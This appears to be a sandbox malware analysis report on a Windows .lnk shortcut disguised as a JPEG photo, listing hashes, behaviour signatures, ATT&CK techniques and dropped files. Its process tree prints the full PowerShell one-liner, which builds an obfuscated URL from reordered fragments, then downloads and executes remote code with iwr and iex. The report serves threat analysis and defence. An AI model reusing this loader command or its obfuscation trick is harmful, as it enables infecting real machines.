f956c08b915bf49d91c93825244f3daff517c8ed8302fe52d990748c9f3f3d50

Analysis

max time kernel
148s
max time network
154s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
28/07/2026, 07:31

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
IMG_20260727_125609.jpg.lnk
Size 1KB
Sample260728-jch5ms1erg
SHA256 f956c08b915bf49d91c93825244f3daff517c8ed8302fe52d990748c9f3f3d50
MD5 bc09444a0511460806275918ca857eec
SHA1 f4d7228c2a742f1fbca5763b4a75e27ef7eadb48
SHA512 e371a8db6f672c4258d4aeefd011b5f30ab2d9abb201ebec58f544959d47879859fa621971b7401f68ca6f21032251aef9f5b3df0e701e3eb1f9dee61c426a0e
TLSH
T1CF31CD295BF20328D6BB8B355876631197327A0EEA498FDF1280C294A964110EC78F3B
MD5 SHA1 SHA512 TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
4	4536	powershell.exe
6	4536	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3948	cmd.exe

Suspicious behavior: EnumeratesProcesses 43 IoCs

pid	Process
4536	powershell.exe
4536	powershell.exe
4536	powershell.exe
4536	powershell.exe
4536	powershell.exe
4536	powershell.exe
4536	powershell.exe
4536	powershell.exe
4536	powershell.exe
4536	powershell.exe
4536	powershell.exe
4536	powershell.exe
4536	powershell.exe
4536	powershell.exe
4536	powershell.exe
4536	powershell.exe
4536	powershell.exe
4536	powershell.exe
4536	powershell.exe
4536	powershell.exe
4536	powershell.exe
4536	powershell.exe
4536	powershell.exe
4536	powershell.exe
4536	powershell.exe
4536	powershell.exe
4536	powershell.exe
4536	powershell.exe
4536	powershell.exe
4536	powershell.exe
4536	powershell.exe
4536	powershell.exe
4536	powershell.exe
4536	powershell.exe
4536	powershell.exe
4536	powershell.exe
4536	powershell.exe
4536	powershell.exe
4536	powershell.exe
4536	powershell.exe
4536	powershell.exe
4536	powershell.exe
4536	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4536	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 3948 wrote to memory of 4536	3948	cmd.exe	90
PID 4536 wrote to memory of 3352	4536	powershell.exe	91
PID 3352 wrote to memory of 3840	3352	csc.exe	92

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\IMG_20260727_125609.jpg.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3948
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iwr (@('no','tay','ese','r','vphotoins','w.s','hop','r')[3,2,7,4,1,0,5,6] -join $iKYbt3K) -useb | iex
  2⤵
  - Badlisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4536
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\3buxvfor\3buxvfor.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3352
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES27E1.tmp" "c:\Users\Admin\AppData\Local\Temp\3buxvfor\CSC9212F52E71E247268AAE95586137C9F.TMP"
      4⤵
      PID:3840

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

3buxvfor.dll

Path C:\Users\Admin\AppData\Local\Temp\3buxvfor\3buxvfor.dll
Size 3KB
SHA256 b8b631e46e699e2f6c80f4e9b646959349857a87bcbf4a6a4d98a767251694d9
MD5 45ea821dbc42c50ef0c8b430c59aed46
SHA1 a2b00c33cd1f92f52632227980c20bc82c788a31
SHA512 ab32c3434c2e77931847036f132a8ffb0fef0c0ed1d0a21debdf83f5b844f8312cc82835eb3d5b3da7a4473d2ff3918ac39a2d53bb9b30d8e88865f6b4c67da1
TLSH
T1E951F01697E9062BE4B70734AFF3075337B4F8509FB3676959800258AC61B546E31FB1
MD5 SHA1 SHA512 TLSH

Submit Download

RES27E1.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES27E1.tmp
Size 1KB
SHA256 f5073c9ed97992fc4f2a57817dd0d1d7ce44791725eb4b09929d6a4c68387f0e
MD5 b409dbbe5ebd2e958d07a548e6ff936e
SHA1 8123070e0f5b478dc4ab5243a2de55a6d24e0c42
SHA512 945810bb08031e82deb2a9da1029548364df5aaac4963cbdc4dfee4d51c32d52d64ff81fab4d479702f3fba2f62656984a5c9adbb50cdee4613e8a8734d9fb1f
TLSH
T1A221AA0593EA471EF0B3433169FA072FA278FD64EEA6679A954002182841504EEA0B73
MD5 SHA1 SHA512 TLSH

Submit Download

3buxvfor.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\3buxvfor\3buxvfor.0.cs
Size 203B
SHA256 5473b5550a65171ee7d5977d673c97e41e9ec16fad10ec5ab8aa3b7c798577a6
MD5 171a88ab4fad87acfd2e5032eb0c6113
SHA1 754de0e7656c558d335710fc41cbf196d39c1a19
SHA512 87ef6ac53a00d21f2df4d81ec5956861a4b539b10f5855345aa068c0d9d971f3329477e485471eb40b9eeea59f01fd3c42c4ab2f25e71d825cbf3586be0206b8
TLSH
T13AD023147BF36D34100304130C4661FCB713812B169E26057DF81300CF4700A0275919
MD5 SHA1 SHA512 TLSH

Submit Download

3buxvfor.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\3buxvfor\3buxvfor.cmdline
Size 369B
SHA256 d5beaa204b97f9175f7c4b265eda7ab8c9f10fd8e7114c71f19c4c6282d5c596
MD5 6301996b8ffcebc4bcf637c0f92ab064
SHA1 397f774b43413711082d08b4d1dc4a3533601c3d
SHA512 ec72577f9d51e9f9816a84e54183039203600715b92fff4e4c1c6fdb502a7d24cd7800063f0ac9a882c073701ecf233455704251a67a16e33bfc0ef3a7620eee
TLSH
T1DAE06F3B4346C27E23ED101B226EC4AC82B2278B2A8B3F94924084CDE4278003BD2791
MD5 SHA1 SHA512 TLSH

Submit Download

CSC9212F52E71E247268AAE95586137C9F.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\3buxvfor\CSC9212F52E71E247268AAE95586137C9F.TMP
Size 652B
SHA256 b33508e08b6cb2877036494dcfde969cc8c8aa2d94ef836052cdfa0030490084
MD5 ff55d3703581c36290fd929557974116
SHA1 deb2eede0b03cd2f23d699e260fc00f7c9cb8d23
SHA512 21374bf9ef308c62d96d494ba0b4db4863526dccff90e11ae75eef3bab48821600822e7c2646cfed823f10cabc1a3ab2ea259d3427bfe513523fd6e3cf997170
TLSH
T154F05E0963F8020EF0F34B31BDF643A391B9BCA5EE32A7ED144003192864510D962FB2
MD5 SHA1 SHA512 TLSH

Submit Download

memory/4536-11-0x00007FFAFD370000-0x00007FFAFDD14000-memory.dmp

Download

memory/4536-9-0x00007FFAFD370000-0x00007FFAFDD14000-memory.dmp

Download

memory/4536-2-0x00007FFAFD4FF000-0x00007FFAFD500000-memory.dmp

Download

memory/4536-12-0x00007FFAFD370000-0x00007FFAFDD14000-memory.dmp

Download

memory/4536-13-0x00007FFAFD370000-0x00007FFAFDD14000-memory.dmp

Download

memory/4536-14-0x00007FFAFD370000-0x00007FFAFDD14000-memory.dmp

Download

memory/4536-15-0x00007FFAFD370000-0x00007FFAFDD14000-memory.dmp

Download

memory/4536-16-0x00007FFAFD370000-0x00007FFAFDD14000-memory.dmp

Download

memory/4536-17-0x00007FFAFD370000-0x00007FFAFDD14000-memory.dmp

Download

memory/4536-18-0x00007FFAFD370000-0x00007FFAFDD14000-memory.dmp

Download

memory/4536-19-0x00007FFAFD370000-0x00007FFAFDD14000-memory.dmp

Download

memory/4536-10-0x00007FFAFD370000-0x00007FFAFDD14000-memory.dmp

Download

memory/4536-8-0x00007FFAFD370000-0x00007FFAFDD14000-memory.dmp

Download

memory/4536-7-0x00007FFAFD370000-0x00007FFAFDD14000-memory.dmp

Download

memory/4536-32-0x0000025D247F0000-0x0000025D247F8000-memory.dmp

Download

memory/4536-6-0x00007FFAFD370000-0x00007FFAFDD14000-memory.dmp

Download

memory/4536-3-0x0000025D24440000-0x0000025D24462000-memory.dmp

Download

memory/4536-33-0x00007FFAFD370000-0x00007FFAFDD14000-memory.dmp

Download

memory/4536-34-0x00007FFAFD370000-0x00007FFAFDD14000-memory.dmp

Download

memory/4536-35-0x00007FFAFD370000-0x00007FFAFDD14000-memory.dmp

Download

memory/4536-36-0x00007FFAFD370000-0x00007FFAFDD14000-memory.dmp

Download

memory/4536-37-0x00007FFAFD370000-0x00007FFAFDD14000-memory.dmp

Download

memory/4536-38-0x00007FFAFD370000-0x00007FFAFDD14000-memory.dmp

Download